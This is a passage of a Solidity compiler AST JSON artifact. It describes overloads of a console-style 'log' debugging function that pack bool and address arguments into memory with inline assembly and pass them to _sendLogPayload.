100"}],"id":34858,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"36661:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34861,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"36661:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34862,"nodeType":"ExpressionStatement","src":"36661:27:22"},{"AST":{"nativeSrc":"36707:127:22","nodeType":"YulBlock","src":"36707:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"36728:4:22","nodeType":"YulLiteral","src":"36728:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"36734:2:22","nodeType":"YulIdentifier","src":"36734:2:22"}],"functionName":{"name":"mstore","nativeSrc":"36721:6:22","nodeType":"YulIdentifier","src":"36721:6:22"},"nativeSrc":"36721:16:22","nodeType":"YulFunctionCall","src":"36721:16:22"},"nativeSrc":"36721:16:22","nodeType":"YulExpressionStatement","src":"36721:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"36757:4:22","nodeType":"YulLiteral","src":"36757:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"36763:2:22","nodeType":"YulIdentifier","src":"36763:2:22"}],"functionName":{"name":"mstore","nativeSrc":"36750:6:22","nodeType":"YulIdentifier","src":"36750:6:22"},"nativeSrc":"36750:16:22","nodeType":"YulFunctionCall","src":"36750:16:22"},"nativeSrc":"36750:16:22","nodeType":"YulExpressionStatement","src":"36750:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"36786:4:22","nodeType":"YulLiteral","src":"36786:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"36792:2:22","nodeType":"YulIdentifier","src":"36792:2:22"}],"functionName":{"name":"mstore","nativeSrc":"36779:6:22","nodeType":"YulIdentifier","src":"36779:6:22"},"nativeSrc":"36779:16:22","nodeType":"YulFunctionCall","src":"36779:16:22"},"nativeSrc":"36779:16:22","nodeType":"YulExpressionStatement","src":"36779:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"36815:4:22","nodeType":"YulLiteral","src":"36815:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"36821:2:22","nodeType":"YulIdentifier","src":"36821:2:22"}],"functionName":{"name":"mstore","nativeSrc":"36808:6:22","nodeType":"YulIdentifier","src":"36808:6:22"},"nativeSrc":"36808:16:22","nodeType":"YulFunctionCall","src":"36808:16:22"},"nativeSrc":"36808:16:22","nodeType":"YulExpressionStatement","src":"36808:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34846,"isOffset":false,"isSlot":false,"src":"36734:2:22","valueSize":1},{"declaration":34849,"isOffset":false,"isSlot":false,"src":"36763:2:22","valueSize":1},{"declaration":34852,"isOffset":false,"isSlot":false,"src":"36792:2:22","valueSize":1},{"declaration":34855,"isOffset":false,"isSlot":false,"src":"36821:2:22","valueSize":1}],"id":34863,"nodeType":"InlineAssembly","src":"36698:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"36197:3:22","parameters":{"id":34843,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34838,"mutability":"mutable","name":"p0","nameLocation":"36206:2:22","nodeType":"VariableDeclaration","scope":34865,"src":"36201:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34837,"name":"bool","nodeType":"ElementaryTypeName","src":"36201:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34840,"mutability":"mutable","name":"p1","nameLocation":"36215:2:22","nodeType":"VariableDeclaration","scope":34865,"src":"36210:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34839,"name":"bool","nodeType":"ElementaryTypeName","src":"36210:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34842,"mutability":"mutable","name":"p2","nameLocation":"36227:2:22","nodeType":"VariableDeclaration","scope":34865,"src":"36219:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34841,"name":"address","nodeType":"ElementaryTypeName","src":"36219:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"36200:30:22"},"returnParameters":{"id":34844,"nodeType":"ParameterList","parameters":[],"src":"36245:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34894,"nodeType":"FunctionDefinition","src":"36846:646:22","nodes":[],"body":{"id":34893,"nodeType":"Block","src":"36900:592:22","nodes":[],"statements":[{"assignments":[34875],"declarations":[{"constant":false,"id":34875,"mutability":"mutable","name":"m0","nameLocation":"36918:2:22","nodeType":"VariableDeclaration","scope":34893,"src":"36910:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34874,"name":"bytes32","nodeType":"ElementaryTypeName","src":"36910:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34876,"nodeType":"VariableDeclarationStatement","src":"36910:10:22"},{"assignments":[34878],"declarations":[{"constant":false,"id":34878,"mutability":"mutable","name":"m1","nameLocation":"36938:2:22","nodeType":"VariableDeclaration","scope":34893,"src":"36930:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34877,"name":"bytes32","nodeType":"ElementaryTypeName","src":"36930:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34879,"nodeType":"VariableDeclarationStatement","src":"36930:10:22"},{"assignments":[34881],"declarations":[{"constant":false,"id":34881,"mutability":"mutable","name":"m2","nameLocation":"36958:2:22","nodeType":"VariableDeclaration","scope":34893,"src":"36950:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34880,"name":"bytes32","nodeType":"ElementaryTypeName","src":"36950:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34882,"nodeType":"VariableDeclarationStatement","src":"36950:10:22"},{"assignments":[34884],"declarations":[{"constant":false,"id":34884,"mutability":"mutable","name":"m3","nameLocation":"36978:2:22","nodeType":"VariableDeclaration","scope":34893,"src":"36970:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34883,"name":"bytes32","nodeType":"ElementaryTypeName","src":"36970:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34885,"nodeType":"VariableDeclarationStatement","src":"36970:10:22"},{"AST":{"nativeSrc":"36999:305:22","nodeType":"YulBlock","src":"36999:305:22","statements":[{"nativeSrc":"37013:17:22","nodeType":"YulAssignment","src":"37013:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"37025:4:22","nodeType":"YulLiteral","src":"37025:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"37019:5:22","nodeType":"YulIdentifier","src":"37019:5:22"},"nativeSrc":"37019:11:22","nodeType":"YulFunctionCall","src":"37019:11:22"},"variableNames":[{"name":"m0","nativeSrc":"37013:2:22","nodeType":"YulIdentifier","src":"37013:2:22"}]},{"nativeSrc":"37043:17:22","nodeType":"YulAssignment","src":"37043:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"37055:4:22","nodeType":"YulLiteral","src":"37055:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"37049:5:22","nodeType":"YulIdentifier","src":"37049:5:22"},"nativeSrc":"37049:11:22","nodeType":"YulFunctionCall","src":"37049:11:22"},"variableNames":[{"name":"m1","nativeSrc":"37043:2:22","nodeType":"YulIdentifier","src":"37043:2:22"}]},{"nativeSrc":"37073:17:22","nodeType":"YulAssignment","src":"37073:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"37085:4:22","nodeType":"YulLiteral","src":"37085:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"37079:5:22","nodeType":"YulIdentifier","src":"37079:5:22"},"nativeSrc":"37079:11:22","nodeType":"YulFunctionCall","src":"37079:11:22"},"variableNames":[{"name":"m2","nativeSrc":"37073:2:22","nodeType":"YulIdentifier","src":"37073:2:22"}]},{"nativeSrc":"37103:17:22","nodeType":"YulAssignment","src":"37103:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"37115:4:22","nodeType":"YulLiteral","src":"37115:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"37109:5:22","nodeType":"YulIdentifier","src":"37109:5:22"},"nativeSrc":"37109:11:22","nodeType":"YulFunctionCall","src":"37109:11:22"},"variableNames":[{"name":"m3","nativeSrc":"37103:2:22","nodeType":"YulIdentifier","src":"37103:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"37190:4:22","nodeType":"YulLiteral","src":"37190:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"37196:10:22","nodeType":"YulLiteral","src":"37196:10:22","type":"","value":"0x50709698"}],"functionName":{"name":"mstore","nativeSrc":"37183:6:22","nodeType":"YulIdentifier","src":"37183:6:22"},"nativeSrc":"37183:24:22","nodeType":"YulFunctionCall","src":"37183:24:22"},"nativeSrc":"37183:24:22","nodeType":"YulExpressionStatement","src":"37183:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"37227:4:22","nodeType":"YulLiteral","src":"37227:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"37233:2:22","nodeType":"YulIdentifier","src":"37233:2:22"}],"functionName":{"name":"mstore","nativeSrc":"37220:6:22","nodeType":"YulIdentifier","src":"37220:6:22"},"nativeSrc":"37220:16:22","nodeType":"YulFunctionCall","src":"37220:16:22"},"nativeSrc":"37220:16:22","nodeType":"YulExpressionStatement","src":"37220:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"37256:4:22","nodeType":"YulLiteral","src":"37256:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"37262:2:22","nodeType":"YulIdentifier","src":"37262:2:22"}],"functionName":{"name":"mstore","nativeSrc":"37249:6:22","nodeType":"YulIdentifier","src":"37249:6:22"},"nativeSrc":"37249:16:22","nodeType":"YulFunctionCall","src":"37249:16:22"},"nativeSrc":"37249:16:22","nodeType":"YulExpressionStatement","src":"37249:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"37285:4:22","nodeType":"YulLiteral","src":"37285:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"37291:2:22","nodeType":"YulIdentifier","src":"37291:2:22"}],"functionName":{"name":"mstore","nativeSrc":"37278:6:22","nodeType":"YulIdentifier","src":"37278:6:22"},"nativeSrc":"37278:16:22","nodeType":"YulFunctionCall","src":"37278:16:22"},"nativeSrc":"37278:16:22","nodeType":"YulExpressionStatement","src":"37278:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34875,"isOffset":false,"isSlot":false,"src":"37013:2:22","valueSize":1},{"declaration":34878,"isOffset":false,"isSlot":false,"src":"37043:2:22","valueSize":1},{"declaration":34881,"isOffset":false,"isSlot":false,"src":"37073:2:22","valueSize":1},{"declaration":34884,"isOffset":false,"isSlot":false,"src":"37103:2:22","valueSize":1},{"declaration":34867,"isOffset":false,"isSlot":false,"src":"37233:2:22","valueSize":1},{"declaration":34869,"isOffset":false,"isSlot":false,"src":"37262:2:22","valueSize":1},{"declaration":34871,"isOffset":false,"isSlot":false,"src":"37291:2:22","valueSize":1}],"id":34886,"nodeType":"InlineAssembly","src":"36990:314:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34888,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"37329:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34889,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"37335:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34887,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"37313:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34890,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37313:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34891,"nodeType":"ExpressionStatement","src":"37313:27:22"},{"AST":{"nativeSrc":"37359:127:22","nodeType":"YulBlock","src":"37359:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"37380:4:22","nodeType":"YulLiteral","src":"37380:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"37386:2:22","nodeType":"YulIdentifier","src":"37386:2:22"}],"functionName":{"name":"mstore","nativeSrc":"37373:6:22","nodeType":"YulIdentifier","src":"37373:6:22"},"nativeSrc":"37373:16:22","nodeType":"YulFunctionCall","src":"37373:16:22"},"nativeSrc":"37373:16:22","nodeType":"YulExpressionStatement","src":"37373:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"37409:4:22","nodeType":"YulLiteral","src":"37409:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"37415:2:22","nodeType":"YulIdentifier","src":"37415:2:22"}],"functionName":{"name":"mstore","nativeSrc":"37402:6:22","nodeType":"YulIdentifier","src":"37402:6:22"},"nativeSrc":"37402:16:22","nodeType":"YulFunctionCall","src":"37402:16:22"},"nativeSrc":"37402:16:22","nodeType":"YulExpressionStatement","src":"37402:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"37438:4:22","nodeType":"YulLiteral","src":"37438:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"37444:2:22","nodeType":"YulIdentifier","src":"37444:2:22"}],"functionName":{"name":"mstore","nativeSrc":"37431:6:22","nodeType":"YulIdentifier","src":"37431:6:22"},"nativeSrc":"37431:16:22","nodeType":"YulFunctionCall","src":"37431:16:22"},"nativeSrc":"37431:16:22","nodeType":"YulExpressionStatement","src":"37431:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"37467:4:22","nodeType":"YulLiteral","src":"37467:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"37473:2:22","nodeType":"YulIdentifier","src":"37473:2:22"}],"functionName":{"name":"mstore","nativeSrc":"37460:6:22","nodeType":"YulIdentifier","src":"37460:6:22"},"nativeSrc":"37460:16:22","nodeType":"YulFunctionCall","src":"37460:16:22"},"nativeSrc":"37460:16:22","nodeType":"YulExpressionStatement","src":"37460:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34875,"isOffset":false,"isSlot":false,"src":"37386:2:22","valueSize":1},{"declaration":34878,"isOffset":false,"isSlot":false,"src":"37415:2:22","valueSize":1},{"declaration":34881,"isOffset":false,"isSlot":false,"src":"37444:2:22","valueSize":1},{"declaration":34884,"isOffset":false,"isSlot":false,"src":"37473:2:22","valueSize":1}],"id":34892,"nodeType":"InlineAssembly","src":"37350:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"36855:3:22","parameters":{"id":34872,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34867,"mutability":"mutable","name":"p0","nameLocation":"36864:2:22","nodeType":"VariableDeclaration","scope":34894,"src":"36859:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34866,"name":"bool","nodeType":"ElementaryTypeName","src":"36859:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34869,"mutability":"mutable","name":"p1","nameLocation":"36873:2:22","nodeType":"VariableDeclaration","scope":34894,"src":"36868:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34868,"name":"bool","nodeType":"ElementaryTypeName","src":"36868:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34871,"mutability":"mutable","name":"p2","nameLocation":"36882:2:22","nodeType":"VariableDeclaration","scope":34894,"src":"36877:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34870,"name":"bool","nodeType":"ElementaryTypeName","src":"36877:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"36858:27:22"},"returnParameters":{"id":34873,"nodeType":"ParameterList","parameters":[],"src":"36900:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34923,"nodeType":"FunctionDefinition","src":"37498:652:22","nodes":[],"body":{"id":34922,"nodeType":"Block","src":"37555:595:22","nodes":[],"statements":[{"assignments":[34904],"declarations":[{"constant":false,"id":34904,"mutability":"mutable","name":"m0","nameLocation":"37573:2:22","nodeType":"VariableDeclaration","scope":34922,"src":"37565:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34903,"name":"bytes32","nodeType":"ElementaryTypeName","src":"37565:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34905,"nodeType":"VariableDeclarationStatement","src":"37565:10:22"},{"assignments":[34907],"declarations":[{"constant":false,"id":34907,"mutability":"mutable","name":"m1","nameLocation":"37593:2:22","nodeType":"VariableDeclaration","scope":34922,"src":"37585:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34906,"name":"bytes32","nodeType":"ElementaryTypeName","src":"37585:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34908,"nodeType":"VariableDeclarationStatement","src":"37585:10:22"},{"assignments":[34910],"declarations":[{"constant":false,"id":34910,"mutability":"mutable","name":"m2","nameLocation":"37613:2:22","nodeType":"VariableDeclaration","scope":34922,"src":"37605:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34909,"name":"bytes32","nodeType":"ElementaryTypeName","src":"37605:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34911,"nodeType":"VariableDeclarationStatement","src":"37605:10:22"},{"assignments":[34913],"declarations":[{"constant":false,"id":34913,"mutability":"mutable","name":"m3","nameLocation":"37633:2:22","nodeType":"VariableDeclaration","scope":34922,"src":"37625:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34912,"name":"bytes32","nodeType":"ElementaryTypeName","src":"37625:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34914,"nodeType":"VariableDeclarationStatement","src":"37625:10:22"},{"AST":{"nativeSrc":"37654:308:22","nodeType":"YulBlock","src":"37654:308:22","statements":[{"nativeSrc":"37668:17:22","nodeType":"YulAssignment","src":"37668:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"37680:4:22","nodeType":"YulLiteral","src":"37680:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"37674:5:22","nodeType":"YulIdentifier","src":"37674:5:22"},"nativeSrc":"37674:11:22","nodeType":"YulFunctionCall","src":"37674:11:22"},"variableNames":[{"name":"m0","nativeSrc":"37668:2:22","nodeType":"YulIdentifier","src":"37668:2:22"}]},{"nativeSrc":"37698:17:22","nodeType":"YulAssignment","src":"37698:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"37710:4:22","nodeType":"YulLiteral","src":"37710:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"37704:5:22","nodeType":"YulIdentifier","src":"37704:5:22"},"nativeSrc":"37704:11:22","nodeType":"YulFunctionCall","src":"37704:11:22"},"variableNames":[{"name":"m1","nativeSrc":"37698:2:22","nodeType":"YulIdentifier","src":"37698:2:22"}]},{"nativeSrc":"37728:17:22","nodeType":"YulAssignment","src":"37728:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"37740:4:22","nodeType":"YulLiteral","src":"37740:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"37734:5:22","nodeType":"YulIdentifier","src":"37734:5:22"},"nativeSrc":"37734:11:22","nodeType":"YulFunctionCall","src":"37734:11:22"},"variableNames":[{"name":"m2","nativeSrc":"37728:2:22","nodeType":"YulIdentifier","src":"37728:2:22"}]},{"nativeSrc":"37758:17:22","nodeType":"YulAssignment","src":"37758:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"37770:4:22","nodeType":"YulLiteral","src":"37770:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"37764:5:22","nodeType":"YulIdentifier","src":"37764:5:22"},"nativeSrc":"37764:11:22","nodeType":"YulFunctionCall","src":"37764:11:22"},"variableNames":[{"name":"m3","nativeSrc":"37758:2:22","nodeType":"YulIdentifier","src":"37758:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"37848:4:22","nodeType":"YulLiteral","src":"37848:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"37854:10:22","nodeType":"YulLiteral","src":"37854:10:22","type":"","value":"0x12f21602"}],"functionName":{"name":"mstore","nativeSrc":"37841:6:22","nodeType":"YulIdentifier","src":"37841:6:22"},"nativeSrc":"37841:24:22","nodeType":"YulFunctionCall","src":"37841:24:22"},"nativeSrc":"37841:24:22","nodeType":"YulExpressionStatement","src":"37841:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"37885:4:22","nodeType":"YulLiteral","src":"37885:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"37891:2:22","nodeType":"YulIdentifier","src":"37891:2:22"}],"functionName":{"name":"mstore","nativeSrc":"37878:6:22","nodeType":"YulIdentifier","src":"37878:6:22"},"nativeSrc":"37878:16:22","nodeType":"YulFunctionCall","src":"37878:16:22"},"nativeSrc":"37878:16:22","nodeType":"YulExpressionStatement","src":"37878:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"37914:4:22","nodeType":"YulLiteral","src":"37914:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"37920:2:22","nodeType":"YulIdentifier","src":"37920:2:22"}],"functionName":{"name":"mstore","nativeSrc":"37907:6:22","nodeType":"YulIdentifier","src":"37907:6:22"},"nativeSrc":"37907:16:22","nodeType":"YulFunctionCall","src":"37907:16:22"},"nativeSrc":"37907:16:22","nodeType":"YulExpressionStatement","src":"37907:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"37943:4:22","nodeType":"YulLiteral","src":"37943:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"37949:2:22","nodeType":"YulIdentifier","src":"37949:2:22"}],"functionName":{"name":"mstore","nativeSrc":"37936:6:22","nodeType":"YulIdentifier","src":"37936:6:22"},"nativeSrc":"37936:16:22","nodeType":"YulFunctionCall","src":"37936:16:22"},"nativeSrc":"37936:16:22","nodeType":"YulExpressionStatement","src":"37936:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34904,"isOffset":false,"isSlot":false,"src":"37668:2:22","valueSize":1},{"declaration":34907,"isOffset":false,"isSlot":false,"src":"37698:2:22","valueSize":1},{"declaration":34910,"isOffset":false,"isSlot":false,"src":"37728:2:22","valueSize":1},{"declaration":34913,"isOffset":false,"isSlot":false,"src":"37758:2:22","valueSize":1},{"declaration":34896,"isOffset":false,"isSlot":false,"src":"37891:2:22","valueSize":1},{"declaration":34898,"isOffset":false,"isSlot":false,"src":"37920:2:22","valueSize":1},{"declaration":34900,"isOffset":false,"isSlot":false,"src":"37949:2:22","valueSize":1}],"id":34915,"nodeType":"InlineAssembly","src":"37645:317:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34917,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"37987:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34918,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"37993:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34916,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"37971:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34919,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"37971:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34920,"nodeType":"ExpressionStatement","src":"37971:27:22"},{"AST":{"nativeSrc":"38017:127:22","nodeType":"YulBlock","src":"38017:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"38038:4:22","nodeType":"YulLiteral","src":"38038:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"38044:2:22","nodeType":"YulIdentifier","src":"38044:2:22"}],"functionName":{"name":"mstore","nativeSrc":"38031:6:22","nodeType":"YulIdentifier","src":"38031:6:22"},"nativeSrc":"38031:16:22","nodeType":"YulFunctionCall","src":"38031:16:22"},"nativeSrc":"38031:16:22","nodeType":"YulExpressionStatement","src":"38031:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"38067:4:22","nodeType":"YulLiteral","src":"38067:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"38073:2:22","nodeType":"YulIdentifier","src":"38073:2:22"}],"functionName":{"name":"mstore","nativeSrc":"38060:6:22","nodeType":"YulIdentifier","src":"38060:6:22"},"nativeSrc":"38060:16:22","nodeType":"YulFunctionCall","src":"38060:16:22"},"nativeSrc":"38060:16:22","nodeType":"YulExpressionStatement","src":"38060:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"38096:4:22","nodeType":"YulLiteral","src":"38096:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"38102:2:22","nodeType":"YulIdentifier","src":"38102:2:22"}],"functionName":{"name":"mstore","nativeSrc":"38089:6:22","nodeType":"YulIdentifier","src":"38089:6:22"},"nativeSrc":"38089:16:22","nodeType":"YulFunctionCall","src":"38089:16:22"},"nativeSrc":"38089:16:22","nodeType":"YulExpressionStatement","src":"38089:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"38125:4:22","nodeType":"YulLiteral","src":"38125:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"38131:2:22","nodeType":"YulIdentifier","src":"38131:2:22"}],"functionName":{"name":"mstore","nativeSrc":"38118:6:22","nodeType":"YulIdentifier","src":"38118:6:22"},"nativeSrc":"38118:16:22","nodeType":"YulFunctionCall","src":"38118:16:22"},"nativeSrc":"38118:16:22","nodeType":"YulExpressionStatement","src":"38118:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34904,"isOffset":false,"isSlot":false,"src":"38044:2:22","valueSize":1},{"declaration":34907,"isOffset":false,"isSlot":false,"src":"38073:2:22","valueSize":1},{"declaration":34910,"isOffset":false,"isSlot":false,"src":"38102:2:22","valueSize":1},{"declaration":34913,"isOffset":false,"isSlot":false,"src":"38131:2:22","valueSize":1}],"id":34921,"nodeType":"InlineAssembly","src":"38008:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"37507:3:22","parameters":{"id":34901,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34896,"mutability":"mutable","name":"p0","nameLocation":"37516:2:22","nodeType":"VariableDeclaration","scope":34923,"src":"37511:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34895,"name":"bool","nodeType":"ElementaryTypeName","src":"37511:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34898,"mutability":"mutable","name":"p1","nameLocation":"37525:2:22","nodeType":"VariableDeclaration","scope":34923,"src":"37520:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34897,"name":"bool","nodeType":"ElementaryTypeName","src":"37520:4:22","typeDescriptions":{"typ